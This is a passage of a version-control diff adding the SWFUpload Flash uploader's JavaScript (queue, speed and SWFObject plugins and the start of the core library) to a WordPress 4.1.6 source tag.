+			if (stats.files_queued > 0 && this.queueSettings.queue_cancelled_flag === false) {
+				this.startUpload();
+			} else if (this.queueSettings.queue_cancelled_flag === false) {
+				this.queueEvent("queue_complete_handler", [this.queueSettings.queue_upload_count]);
+				this.queueSettings.queue_upload_count = 0;
+			} else {
+				this.queueSettings.queue_cancelled_flag = false;
+				this.queueSettings.queue_upload_count = 0;
+			}
+		}
+	};
+}
Index: /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.speed.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.speed.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.speed.js	(revision 33402)
@@ -0,0 +1,342 @@
+/*
+	Speed Plug-in
+	
+	Features:
+		*Adds several properties to the 'file' object indicated upload speed, time left, upload time, etc.
+			- currentSpeed -- String indicating the upload speed, bytes per second
+			- averageSpeed -- Overall average upload speed, bytes per second
+			- movingAverageSpeed -- Speed over averaged over the last several measurements, bytes per second
+			- timeRemaining -- Estimated remaining upload time in seconds
+			- timeElapsed -- Number of seconds passed for this upload
+			- percentUploaded -- Percentage of the file uploaded (0 to 100)
+			- sizeUploaded -- Formatted size uploaded so far, bytes
+		
+		*Adds setting 'moving_average_history_size' for defining the window size used to calculate the moving average speed.
+		
+		*Adds several Formatting functions for formatting that values provided on the file object.
+			- SWFUpload.speed.formatBPS(bps) -- outputs string formatted in the best units (Gbps, Mbps, Kbps, bps)
+			- SWFUpload.speed.formatTime(seconds) -- outputs string formatted in the best units (x Hr y M z S)
+			- SWFUpload.speed.formatSize(bytes) -- outputs string formatted in the best units (w GB x MB y KB z B )
+			- SWFUpload.speed.formatPercent(percent) -- outputs string formatted with a percent sign (x.xx %)
+			- SWFUpload.speed.formatUnits(baseNumber, divisionArray, unitLabelArray, fractionalBoolean)
+				- Formats a number using the division array to determine how to apply the labels in the Label Array
+				- factionalBoolean indicates whether the number should be returned as a single fractional number with a unit (speed)
+				    or as several numbers labeled with units (time)
+	*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.speed = {};
+	
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.ensureDefault = function (settingName, defaultValue) {
+				this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+			};
+
+			// List used to keep the speed stats for the files we are tracking
+			this.fileSpeedStats = {};
+			this.speedSettings = {};
+
+			this.ensureDefault("moving_average_history_size", "10");
+			
+			this.speedSettings.user_file_queued_handler = this.settings.file_queued_handler;
+			this.speedSettings.user_file_queue_error_handler = this.settings.file_queue_error_handler;
+			this.speedSettings.user_upload_start_handler = this.settings.upload_start_handler;
+			this.speedSettings.user_upload_error_handler = this.settings.upload_error_handler;
+			this.speedSettings.user_upload_progress_handler = this.settings.upload_progress_handler;
+			this.speedSettings.user_upload_success_handler = this.settings.upload_success_handler;
+			this.speedSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
+			
+			this.settings.file_queued_handler = SWFUpload.speed.fileQueuedHandler;
+			this.settings.file_queue_error_handler = SWFUpload.speed.fileQueueErrorHandler;
+			this.settings.upload_start_handler = SWFUpload.speed.uploadStartHandler;
+			this.settings.upload_error_handler = SWFUpload.speed.uploadErrorHandler;
+			this.settings.upload_progress_handler = SWFUpload.speed.uploadProgressHandler;
+			this.settings.upload_success_handler = SWFUpload.speed.uploadSuccessHandler;
+			this.settings.upload_complete_handler = SWFUpload.speed.uploadCompleteHandler;
+			
+			delete this.ensureDefault;
+		};
+	})(SWFUpload.prototype.initSettings);
+
+	
+	SWFUpload.speed.fileQueuedHandler = function (file) {
+		if (typeof this.speedSettings.user_file_queued_handler === "function") {
+			file = SWFUpload.speed.extendFile(file);
+			
+			return this.speedSettings.user_file_queued_handler.call(this, file);
+		}
+	};
+	
+	SWFUpload.speed.fileQueueErrorHandler = function (file, errorCode, message) {
+		if (typeof this.speedSettings.user_file_queue_error_handler === "function") {
+			file = SWFUpload.speed.extendFile(file);
+			
+			return this.speedSettings.user_file_queue_error_handler.call(this, file, errorCode, message);
+		}
+	};
+
+	SWFUpload.speed.uploadStartHandler = function (file) {
+		if (typeof this.speedSettings.user_upload_start_handler === "function") {
+			file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+			return this.speedSettings.user_upload_start_handler.call(this, file);
+		}
+	};
+	
+	SWFUpload.speed.uploadErrorHandler = function (file, errorCode, message) {
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+		SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_error_handler === "function") {
+			return this.speedSettings.user_upload_error_handler.call(this, file, errorCode, message);
+		}
+	};
+	SWFUpload.speed.uploadProgressHandler = function (file, bytesComplete, bytesTotal) {
+		this.updateTracking(file, bytesComplete);
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_progress_handler === "function") {
+			return this.speedSettings.user_upload_progress_handler.call(this, file, bytesComplete, bytesTotal);
+		}
+	};
+	
+	SWFUpload.speed.uploadSuccessHandler = function (file, serverData) {
+		if (typeof this.speedSettings.user_upload_success_handler === "function") {
+			file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+			return this.speedSettings.user_upload_success_handler.call(this, file, serverData);
+		}
+	};
+	SWFUpload.speed.uploadCompleteHandler = function (file) {
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+		SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_complete_handler === "function") {
+			return this.speedSettings.user_upload_complete_handler.call(this, file);
+		}
+	};
+	
+	// Private: extends the file object with the speed plugin values
+	SWFUpload.speed.extendFile = function (file, trackingList) {
+		var tracking;
+		
+		if (trackingList) {
+			tracking = trackingList[file.id];
+		}
+		
+		if (tracking) {
+			file.currentSpeed = tracking.currentSpeed;
+			file.averageSpeed = tracking.averageSpeed;
+			file.movingAverageSpeed = tracking.movingAverageSpeed;
+			file.timeRemaining = tracking.timeRemaining;
+			file.timeElapsed = tracking.timeElapsed;
+			file.percentUploaded = tracking.percentUploaded;
+			file.sizeUploaded = tracking.bytesUploaded;
+
+		} else {
+			file.currentSpeed = 0;
+			file.averageSpeed = 0;
+			file.movingAverageSpeed = 0;
+			file.timeRemaining = 0;
+			file.timeElapsed = 0;
+			file.percentUploaded = 0;
+			file.sizeUploaded = 0;
+		}
+		
+		return file;
+	};
+	
+	// Private: Updates the speed tracking object, or creates it if necessary
+	SWFUpload.prototype.updateTracking = function (file, bytesUploaded) {
+		var tracking = this.fileSpeedStats[file.id];
+		if (!tracking) {
+			this.fileSpeedStats[file.id] = tracking = {};
+		}
+		
+		// Sanity check inputs
+		bytesUploaded = bytesUploaded || tracking.bytesUploaded || 0;
+		if (bytesUploaded < 0) {
+			bytesUploaded = 0;
+		}
+		if (bytesUploaded > file.size) {
+			bytesUploaded = file.size;
+		}
+		
+		var tickTime = (new Date()).getTime();
+		if (!tracking.startTime) {
+			tracking.startTime = (new Date()).getTime();
+			tracking.lastTime = tracking.startTime;
+			tracking.currentSpeed = 0;
+			tracking.averageSpeed = 0;
+			tracking.movingAverageSpeed = 0;
+			tracking.movingAverageHistory = [];
+			tracking.timeRemaining = 0;
+			tracking.timeElapsed = 0;
+			tracking.percentUploaded = bytesUploaded / file.size;
+			tracking.bytesUploaded = bytesUploaded;
+		} else if (tracking.startTime > tickTime) {
+			this.debug("When backwards in time");
+		} else {
+			// Get time and deltas
+			var now = (new Date()).getTime();
+			var lastTime = tracking.lastTime;
+			var deltaTime = now - lastTime;
+			var deltaBytes = bytesUploaded - tracking.bytesUploaded;
+			
+			if (deltaBytes === 0 || deltaTime === 0) {
+				return tracking;
+			}
+			
+			// Update tracking object
+			tracking.lastTime = now;
+			tracking.bytesUploaded = bytesUploaded;
+			
+			// Calculate speeds
+			tracking.currentSpeed = (deltaBytes * 8 ) / (deltaTime / 1000);
+			tracking.averageSpeed = (tracking.bytesUploaded * 8) / ((now - tracking.startTime) / 1000);
+
+			// Calculate moving average
+			tracking.movingAverageHistory.push(tracking.currentSpeed);
+			if (tracking.movingAverageHistory.length > this.settings.moving_average_history_size) {
+				tracking.movingAverageHistory.shift();
+			}
+			
+			tracking.movingAverageSpeed = SWFUpload.speed.calculateMovingAverage(tracking.movingAverageHistory);
+			
+			// Update times
+			tracking.timeRemaining = (file.size - tracking.bytesUploaded) * 8 / tracking.movingAverageSpeed;
+			tracking.timeElapsed = (now - tracking.startTime) / 1000;
+			
+			// Update percent
+			tracking.percentUploaded = (tracking.bytesUploaded / file.size * 100);
+		}
+		
+		return tracking;
+	};
+	SWFUpload.speed.removeTracking = function (file, trackingList) {
+		try {
+			trackingList[file.id] = null;
+			delete trackingList[file.id];
+		} catch (ex) {
+		}
+	};
+	
+	SWFUpload.speed.formatUnits = function (baseNumber, unitDivisors, unitLabels, singleFractional) {
+		var i, unit, unitDivisor, unitLabel;
+
+		if (baseNumber === 0) {
+			return "0 " + unitLabels[unitLabels.length - 1];
+		}
+		
+		if (singleFractional) {
+			unit = baseNumber;
+			unitLabel = unitLabels.length >= unitDivisors.length ? unitLabels[unitDivisors.length - 1] : "";
+			for (i = 0; i < unitDivisors.length; i++) {
+				if (baseNumber >= unitDivisors[i]) {
+					unit = (baseNumber / unitDivisors[i]).toFixed(2);
+					unitLabel = unitLabels.length >= i ? " " + unitLabels[i] : "";
+					break;
+				}
+			}
+			
+			return unit + unitLabel;
+		} else {
+			var formattedStrings = [];
+			var remainder = baseNumber;
+			
+			for (i = 0; i < unitDivisors.length; i++) {
+				unitDivisor = unitDivisors[i];
+				unitLabel = unitLabels.length > i ? " " + unitLabels[i] : "";
+				
+				unit = remainder / unitDivisor;
+				if (i < unitDivisors.length -1) {
+					unit = Math.floor(unit);
+				} else {
+					unit = unit.toFixed(2);
+				}
+				if (unit > 0) {
+					remainder = remainder % unitDivisor;
+					
+					formattedStrings.push(unit + unitLabel);
+				}
+			}
+			
+			return formattedStrings.join(" ");
+		}
+	};
+	
+	SWFUpload.speed.formatBPS = function (baseNumber) {
+		var bpsUnits = [1073741824, 1048576, 1024, 1], bpsUnitLabels = ["Gbps", "Mbps", "Kbps", "bps"];
+		return SWFUpload.speed.formatUnits(baseNumber, bpsUnits, bpsUnitLabels, true);
+	
+	};
+	SWFUpload.speed.formatTime = function (baseNumber) {
+		var timeUnits = [86400, 3600, 60, 1], timeUnitLabels = ["d", "h", "m", "s"];
+		return SWFUpload.speed.formatUnits(baseNumber, timeUnits, timeUnitLabels, false);
+	
+	};
+	SWFUpload.speed.formatBytes = function (baseNumber) {
+		var sizeUnits = [1073741824, 1048576, 1024, 1], sizeUnitLabels = ["GB", "MB", "KB", "bytes"];
+		return SWFUpload.speed.formatUnits(baseNumber, sizeUnits, sizeUnitLabels, true);
+	
+	};
+	SWFUpload.speed.formatPercent = function (baseNumber) {
+		return baseNumber.toFixed(2) + " %";
+	};
+	
+	SWFUpload.speed.calculateMovingAverage = function (history) {
+		var vals = [], size, sum = 0.0, mean = 0.0, varianceTemp = 0.0, variance = 0.0, standardDev = 0.0;
+		var i;
+		var mSum = 0, mCount = 0;
+		
+		size = history.length;
+		
+		// Check for sufficient data
+		if (size >= 8) {
+			// Clone the array and Calculate sum of the values 
+			for (i = 0; i < size; i++) {
+				vals[i] = history[i];
+				sum += vals[i];
+			}
+
+			mean = sum / size;
+
+			// Calculate variance for the set
+			for (i = 0; i < size; i++) {
+				varianceTemp += Math.pow((vals[i] - mean), 2);
+			}
+
+			variance = varianceTemp / size;
+			standardDev = Math.sqrt(variance);
+			
+			//Standardize the Data
+			for (i = 0; i < size; i++) {
+				vals[i] = (vals[i] - mean) / standardDev;
+			}
+
+			// Calculate the average excluding outliers
+			var deviationRange = 2.0;
+			for (i = 0; i < size; i++) {
+				
+				if (vals[i] <= deviationRange && vals[i] >= -deviationRange) {
+					mCount++;
+					mSum += history[i];
+				}
+			}
+			
+		} else {
+			// Calculate the average (not enough data points to remove outliers)
+			mCount = size;
+			for (i = 0; i < size; i++) {
+				mSum += history[i];
+			}
+		}
+
+		return mSum / mCount;
+	};
+	
+}
Index: /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.swfobject.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.swfobject.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.swfobject.js	(revision 33402)
@@ -0,0 +1,105 @@
+/*
+	SWFUpload.SWFObject Plugin
+
+	Summary:
+		This plugin uses SWFObject to embed SWFUpload dynamically in the page.  SWFObject provides accurate Flash Player detection and DOM Ready loading.
+		This plugin replaces the Graceful Degradation plugin.
+
+	Features:
+		* swfupload_load_failed_hander event
+		* swfupload_pre_load_handler event
+		* minimum_flash_version setting (default: "9.0.28")
+		* SWFUpload.onload event for early loading
+
+	Usage:
+		Provide handlers and settings as needed.  When using the SWFUpload.SWFObject plugin you should initialize SWFUploading
+		in SWFUpload.onload rather than in window.onload.  When initialized this way SWFUpload can load earlier preventing the UI flicker
+		that was seen using the Graceful Degradation plugin.
+
+		<script type="text/javascript">
+			var swfu;
+			SWFUpload.onload = function () {
+				swfu = new SWFUpload({
+					minimum_flash_version: "9.0.28",
+					swfupload_pre_load_handler: swfuploadPreLoad,
+					swfupload_load_failed_handler: swfuploadLoadFailed
+				});
+			};
+		</script>
+		
+	Notes:
+		You must provide set minimum_flash_version setting to "8" if you are using SWFUpload for Flash Player 8.
+		The swfuploadLoadFailed event is only fired if the minimum version of Flash Player is not met.  Other issues such as missing SWF files, browser bugs
+		 or corrupt Flash Player installations will not trigger this event.
+		The swfuploadPreLoad event is fired as soon as the minimum version of Flash Player is found.  It does not wait for SWFUpload to load and can
+		 be used to prepare the SWFUploadUI and hide alternate content.
+		swfobject's onDomReady event is cross-browser safe but will default to the window.onload event when DOMReady is not supported by the browser.
+		 Early DOM Loading is supported in major modern browsers but cannot be guaranteed for every browser ever made.
+*/
+
+
+// SWFObject v2.1 must be loaded
+	
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.onload = function () {};
+
+	swfobject.addDomLoadEvent(function () {
+		if (typeof(SWFUpload.onload) === "function") {
+			setTimeout(function(){SWFUpload.onload.call(window);}, 200);
+		}
+	});
+
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+
+			this.ensureDefault = function (settingName, defaultValue) {
+				this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+			};
+
+			this.ensureDefault("minimum_flash_version", "9.0.28");
+			this.ensureDefault("swfupload_pre_load_handler", null);
+			this.ensureDefault("swfupload_load_failed_handler", null);
+
+			delete this.ensureDefault;
+
+		};
+	})(SWFUpload.prototype.initSettings);
+
+
+	SWFUpload.prototype.loadFlash = function (oldLoadFlash) {
+		return function () {
+			var hasFlash = swfobject.hasFlashPlayerVersion(this.settings.minimum_flash_version);
+			
+			if (hasFlash) {
+				this.queueEvent("swfupload_pre_load_handler");
+				if (typeof(oldLoadFlash) === "function") {
+					oldLoadFlash.call(this);
+				}
+			} else {
+				this.queueEvent("swfupload_load_failed_handler");
+			}
+		};
+		
+	}(SWFUpload.prototype.loadFlash);
+			
+	SWFUpload.prototype.displayDebugInfo = function (oldDisplayDebugInfo) {
+		return function () {
+			if (typeof(oldDisplayDebugInfo) === "function") {
+				oldDisplayDebugInfo.call(this);
+			}
+			
+			this.debug(
+				[
+					"SWFUpload.SWFObject Plugin settings:", "\n",
+					"\t", "minimum_flash_version:                      ", this.settings.minimum_flash_version, "\n",
+					"\t", "swfupload_pre_load_handler assigned:     ", (typeof(this.settings.swfupload_pre_load_handler) === "function").toString(), "\n",
+					"\t", "swfupload_load_failed_handler assigned:     ", (typeof(this.settings.swfupload_load_failed_handler) === "function").toString(), "\n",
+				].join("")
+			);
+		};	
+	}(SWFUpload.prototype.displayDebugInfo);
+}
Index: /tags/4.1.6/src/wp-includes/js/swfupload/swfupload.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/swfupload.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/swfupload.js	(revision 33402)
@@ -0,0 +1,980 @@
+/**
+ * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
+ *
+ * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/,  http://www.vinterwebb.se/
+ *
+ * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilz�n and Mammon Media and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+
+
+/* ******************* */
+/* Constructor & Init  */
+/* ******************* */
+var SWFUpload;
+
+if (SWFUpload == undefined) {
+	SWFUpload = function (settings) {
+		this.initSWFUpload(settings);
+	};
+}
+
+SWFUpload.prototype.initSWFUpload = function (settings) {
+	try {
+		this.customSettings = {};	// A container where developers can place their own settings associated with this instance.
+		this.settings = settings;
+		this.eventQueue = [];
+		this.movieName = "SWFUpload_" + SWFUpload.movieCount++;
+		this.movieElement = null;
+
+
+		// Setup global control tracking
+		SWFUpload.instances[this.movieName] = this;
+
+		// Load the settings.  Load the Flash movie.
+		this.initSettings();
+		this.loadFlash();
+		this.displayDebugInfo();
+	} catch (ex) {
+		delete SWFUpload.instances[this.movieName];
+		throw ex;
+	}
+};
+
+/* *************** */
+/* Static Members  */
+/* *************** */
+SWFUpload.instances = {};
+SWFUpload.movieCount = 0;
+SWFUpload.version = "2.2.0 2009-03-25";
+SWFUpload.QUEUE_ERROR = {
+	QUEUE_LIMIT_EXCEEDED	  		: -100,
+	FILE_EXCEEDS_SIZE_LIMIT  		: -110,
+	ZERO_BYTE_FILE			  		: -120,
+	INVALID_FILETYPE		  		: -130
+};
+SWFUpload.UPLOAD_ERROR = {
+	HTTP_ERROR				  		: -200,
+	MISSING_UPLOAD_URL	      		: -210,
+	IO_ERROR				  		: -220,
+	SECURITY_ERROR			  		: -230,
+	UPLOAD_LIMIT_EXCEEDED	  		: -240,
+	UPLOAD_FAILED			  		: -250,
+	SPECIFIED_FILE_ID_NOT_FOUND		: -260,
+	FILE_VALIDATION_FAILED	  		: -270,
+	FILE_CANCELLED			  		: -280,
+	UPLOAD_STOPPED					: -290
+};
+SWFUpload.FILE_STATUS = {
+	QUEUED		 : -1,
+	IN_PROGRESS	 : -2,
+	ERROR		 : -3,
+	COMPLETE	 : -4,
+	CANCELLED	 : -5
+};
+SWFUpload.BUTTON_ACTION = {
+	SELECT_FILE  : -100,
+	SELECT_FILES : -110,
+	START_UPLOAD : -120
+};
+SWFUpload.CURSOR = {
+	ARROW : -1,
+	HAND : -2
+};
+SWFUpload.WINDOW_MODE = {
+	WINDOW : "window",
+	TRANSPARENT : "transparent",
+	OPAQUE : "opaque"
+};
+
+// Private: takes a URL, determines if it is relative and converts to an absolute URL
+// using the current site. Only processes the URL if it can, otherwise returns the URL untouched
+SWFUpload.completeURL = function(url) {
+	if (typeof(url) !== "string" || url.match(/^https?:\/\//i) || url.match(/^\//)) {
+		return url;
+	}
+	
+	var currentURL = window.location.protocol + "//" + window.location.hostname + (window.location.port ? ":" + window.location.port : "");
+	
+	var indexSlash = window.location.pathname.lastIndexOf("/");
+	if (indexSlash <= 0) {
+		path = "/";
+	} else {
+		path = window.location.pathname.substr(0, indexSlash) + "/";
+	}
+	
+	return /*currentURL +*/ path + url;
+	
+};
+
+
+/* ******************** */
+/* Instance Members  */
+/* ******************** */
+
+// Private: initSettings ensures that all the
+// settings are set, getting a default value if one was not assigned.
+SWFUpload.prototype.initSettings = function () {
+	this.ensureDefault = function (settingName, defaultValue) {
+		this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+	};
+	
+	// Upload backend settings
+	this.ensureDefault("upload_url", "");
+	this.ensureDefault("preserve_relative_urls", false);
+	this.ensureDefault("file_post_name", "Filedata");
+	this.ensureDefault("post_params", {});
+	this.ensureDefault("use_query_string", false);
+	this.ensureDefault("requeue_on_error", false);
+	this.ensureDefault("http_success", []);
+	this.ensureDefault("assume_success_timeout", 0);
+	
+	// File Settings
+	this.ensureDefault("file_types", "*.*");
+	this.ensureDefault("file_types_description", "All Files");
+	this.ensureDefault("file_size_limit", 0);	// Default zero means "unlimited"
+	this.ensureDefault("file_upload_limit", 0);
+	this.ensureDefault("file_queue_limit", 0);
+
+	// Flash Settings
+	this.ensureDefault("flash_url", "swfupload.swf");
+	this.ensureDefault("prevent_swf_caching", true);
+	
+	// Button Settings
+	this.ensureDefault("button_image_url", "");
+	this.ensureDefault("button_width", 1);
+	this.ensureDefault("button_height", 1);
+	this.ensureDefault("button_text", "");
+	this.ensureDefault("button_text_style", "color: #000000; font-size: 16pt;");
+	this.ensureDefault("button_text_top_padding", 0);
+	this.ensureDefault("button_text_left_padding", 0);
+	this.ensureDefault("button_action", SWFUpload.BUTTON_ACTION.SELECT_FILES);
+	this.ensureDefault("button_disabled", false);
+	this.ensureDefault("button_placeholder_id", "");
+	this.ensureDefault("button_placeholder", null);
+	this.ensureDefault("button_cursor", SWFUpload.CURSOR.ARROW);
+	this.ensureDefault("button_window_mode", SWFUpload.WINDOW_MODE.WINDOW);
+	
+	// Debug Settings
+	this.ensureDefault("debug", false);
+	this.settings.debug_enabled = this.settings.debug;	// Here to maintain v2 API
+	
+	// Event Handlers
+	this.settings.return_upload_start_handler = this.returnUploadStart;
+	this.ensureDefault("swfupload_loaded_handler", null);
+	this.ensureDefault("file_dialog_start_handler", null);
+	this.ensureDefault("file_queued_handler", null);
+	this.ensureDefault("file_queue_error_handler", null);
+	this.ensureDefault("file_dialog_complete_handler", null);
+	
+	this.ensureDefault("upload_start_handler", null);
+	this.ensureDefault("upload_progress_handler", null);
+	this.ensureDefault("upload_error_handler", null);
+	this.ensureDefault("upload_success_handler", null);
+	this.ensureDefault("upload_complete_handler", null);
+	
+	this.ensureDefault("debug_handler", this.debugMessage);
+
+	this.ensureDefault("custom_settings", {});
+
+	// Other settings
+	this.customSettings = this.settings.custom_settings;
+	
+	// Update the flash url if needed
+	if (!!this.settings.prevent_swf_caching) {
+		this.settings.flash_url = this.settings.flash_url + (this.settings.flash_url.indexOf("?") < 0 ? "?" : "&") + "preventswfcaching=" + new Date().getTime();
+	}
+	
+	if (!this.settings.preserve_relative_urls) {
+		//this.settings.flash_url = SWFUpload.completeURL(this.settings.flash_url);	// Don't need to do this one since flash doesn't look at it
+		this.settings.upload_url = SWFUpload.completeURL(this.settings.upload_url);
+		this.settings.button_image_url = SWFUpload.completeURL(this.settings.button_image_url);
+	}
+	
+	delete this.ensureDefault;
+};
+
+// Private: loadFlash replaces the button_placeholder element with the flash movie.
+SWFUpload.prototype.loadFlash = function () {
+	var targetElement, tempParent;
+
+	// Make sure an element with the ID we are going to use doesn't already exist
+	if (document.getElementById(this.movieName) !== null) {
+		throw "ID " + this.movieName + " is already in use. The Flash Object could not be added";
+	}
+
+	// Get the element where we will be placing the flash movie
+	targetElement = document.getElementById(this.settings.button_placeholder_id) || this.settings.button_placeholder;
+
+	if (targetElement == undefined) {
+		throw "Could not find the placeholder element: " + this.settings.button_placeholder_id;
+	}
+
+	// Append the container and load the flash
+	tempParent = document.createElement("div");
+	tempParent.innerHTML = this.getFlashHTML();	// Using innerHTML is non-standard but the only sensible way to dynamically add Flash in IE (and maybe other browsers)
+	targetElement.parentNode.replaceChild(tempParent.firstChild, targetElement);
+
+	// Fix IE Flash/Form bug
+	if (window[this.movieName] == undefined) {
+		window[this.movieName] = this.getMovieElement();
+	}
+	
+};
+
+// Private: getFlashHTML generates the object tag needed to embed the flash in to the document
+SWFUpload.prototype.getFlashHTML = function () {
+	// Flash Satay object syntax: http://www.alistapart.com/articles/flashsatay
+	return ['<object id="', this.movieName, '" type="application/x-shockwave-flash" data="', this.settings.flash_url, '" width="', this.settings.button_width, '" height="', this.settings.button_height, '" class="swfupload">',
+				'<param name="wmode" value="', this.settings.button_window_mode, '" />',
+				'<param name="movie" value="', this.settings.flash_url, '" />',
+				'<param name="quality" value="high" />',
+				'<param name="menu" value="false" />',
+				'<param name="allowScriptAccess" value="always" />',
+				'<param name="flashvars" value="' + this.getFlashVars() + '" />',
+				'</object>'].join("");
+};
+
+// Private: getFlashVars builds the parameter string that will be passed
+// to flash in the flashvars param.
+SWFUpload.prototype.getFlashVars = function () {
+	// Build a string from the post param object
+	var paramString = this.buildParamString();
+	var httpSuccessString = this.settings.http_success.join(",");
+	
+	// Build the parameter string
+	return ["movieName=", encodeURIComponent(this.movieName),
+			"&amp;uploadURL=", encodeURIComponent(this.settings.upload_url),
+			"&amp;useQueryString=", encodeURIComponent(this.settings.use_query_string),
+			"&amp;requeueOnError=", encodeURIComponent(this.settings.requeue_on_error),
+			"&amp;httpSuccess=", encodeURIComponent(httpSuccessString),
+			"&amp;assumeSuccessTimeout=", encodeURIComponent(this.settings.assume_success_timeout),
+			"&amp;params=", encodeURIComponent(paramString),
+			"&amp;filePostName=", encodeURIComponent(this.settings.file_post_name),
+			"&amp;fileTypes=", encodeURIComponent(this.settings.file_types),
+			"&amp;fileTypesDescription=", encodeURIComponent(this.settings.file_types_description),
+			"&amp;fileSizeLimit=", encodeURIComponent(this.settings.file_size_limit),
+			"&amp;fileUploadLimit=", encodeURIComponent(this.settings.file_upload_limit),
+			"&amp;fileQueueLimit=", encodeURIComponent(this.settings.file_queue_limit),
+			"&amp;debugEnabled=", encodeURIComponent(this.settings.debug_enabled),
+			"&amp;buttonImageURL=", encodeURIComponent(this.settings.button_image_url),
+			"&amp;buttonWidth=", encodeURIComponent(this.settings.button_width),
+			"&amp;buttonHeight=", encodeURIComponent(this.settings.button_height),
+			"&amp;buttonText=", encodeURIComponent(this.settings.button_text),
+			"&amp;buttonTextTopPadding=", encodeURIComponent(this.settings.button_text_top_padding),
+			"&amp;buttonTextLeftPadding=", encodeURIComponent(this.settings.button_text_left_padding),
+			"&amp;buttonTextStyle=", encodeURIComponent(this.settings.button_text_style),
+			"&amp;buttonAction=", encodeURIComponent(this.settings.button_action),
+			"&amp;buttonDisabled=", encodeURIComponent(this.settings.button_disabled),
+			"&amp;buttonCursor=", encodeURIComponent(this.settings.button_cursor)
+		].join("");
+};
+
+// Public: getMovieElement retrieves the DOM reference to the Flash element added by SWFUpload
+// The element is cached after the first lookup
+SWFUpload.prototype.getMovieElement = function () {
+	if (this.movieElement == undefined) {
+		this.movieElement = document.getElementById(this.movieName);
+	}
+
+	if (this.movieElement === null) {
+		throw "Could not find Flash element";
+	}
+	
+	return this.movieElement;
+};
+
+// Private: buildParamString takes the name/value pairs in the post_params setting object
+// and joins them up in to a string formatted "name=value&amp;name=value"
+SWFUpload.prototype.buildParamString = function () {
+	var postParams = this.settings.post_params; 
+	var paramStringPairs = [];
+
+	if (typeof(postParams) === "object") {
+		for (var name in postParams) {
+			if (postParams.hasOwnProperty(name)) {
+				paramStringPairs.push(encodeURIComponent(name.toString()) + "=" + encodeURIComponent(postParams[name].toString()));
+			}
+		}
+	}
+
+	return paramStringPairs.join("&amp;");
+};
+
+// Public: Used to remove a SWFUpload instance from the page. This method strives to remove
+// all references to the SWF, and other objects so memory is properly freed.
+// Returns true if everything was destroyed. Returns a false if a failure occurs leaving SWFUpload in an inconsistant state.
+// Credits: Major improvements provided by steffen
+SWFUpload.prototype.destroy = function () {
+	try {
+		// Make sure Flash is done before we try to remove it
+		this.cancelUpload(null, false);
+		
+
+		// Remove the SWFUpload DOM nodes
+		var movieElement = null;
+		movieElement = this.getMovieElement();
+		
+		if (movieElement && typeof(movieElement.CallFunction) === "unknown") { // We only want to do this in IE
+			// Loop through all the movie's properties and remove all function references (DOM/JS IE 6/7 memory leak workaround)
+			for (var i in movieElement) {
+				try {
+					if (typeof(movieElement[i]) === "function") {
+						movieElement[i] = null;
+					}
+				} catch (ex1) {}
+			}
+
+			// Remove the Movie Element from the page
+			try {
+				movieElement.parentNode.removeChild(movieElement);
+			} catch (ex) {}
+		}
+		
+		// Remove IE form fix reference
+		window[this.movieName] = null;
+
+		// Destroy other references
+		SWFUpload.instances[this.movieName] = null;
+		delete SWFUpload.instances[this.movieName];
+
+		this.movieElement = null;
+		this.settings = null;
+		this.customSettings = null;
+		this.eventQueue = null;
+		this.movieName = null;
+		
+		
+		return true;
+	} catch (ex2) {
+		return false;
+	}
+};
+
+
+// Public: displayDebugInfo prints out settings and configuration
+// information about this SWFUpload instance.
+// This function (and any references to it) can be deleted when placing
+// SWFUpload in production.
+SWFUpload.prototype.displayDebugInfo = function () {
+	this.debug(
+		[
+			"---SWFUpload Instance Info---\n",
+			"Version: ", SWFUpload.version, "\n",
+			"Movie Name: ", this.movieName, "\n",
+			"Settings:\n",
+			"\t", "upload_url:               ", this.settings.upload_url, "\n",
+			"\t", "flash_url:                ", this.settings.flash_url, "\n",
+			"\t", "use_query_string:         ", this.settings.use_query_string.toString(), "\n",
+			"\t", "requeue_on_error:         ", this.settings.requeue_on_error.toString(), "\n",
+			"\t", "http_success:             ", this.settings.http_success.join(", "), "\n",
+			"\t", "assume_success_timeout:   ", this.settings.assume_success_timeout, "\n",
+			"\t", "file_post_name:           ", this.settings.file_post_name, "\n",
+			"\t", "post_params:              ", this.settings.post_params.toString(), "\n",
+			"\t", "file_types:               ", this.settings.file_types, "\n",
